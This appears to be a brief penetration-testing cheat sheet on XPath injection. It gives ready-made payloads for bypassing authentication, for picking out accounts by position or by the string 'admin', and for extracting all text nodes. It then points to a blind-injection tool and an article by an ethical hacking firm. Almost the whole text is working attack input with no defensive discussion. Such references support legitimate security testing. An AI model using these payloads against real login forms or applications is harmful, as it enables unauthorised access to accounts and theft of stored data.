XPath Injection

Authentication Bypass

'or true() or '

# Finding an interesting account

 # Small DB - position() - increment the id

' or position()=1 '

# Large DB - contains() string

' or contains(., 'admin') or '

Data extraction

knownParameter' or '1'='1

random| // text()

Blind XPAth Injection

GitHub - orf/xcat: XPath injection toolGitHub

Resources

Injections XPath : principes, exploitations & sécuritéVAADATA - Ethical Hacking Services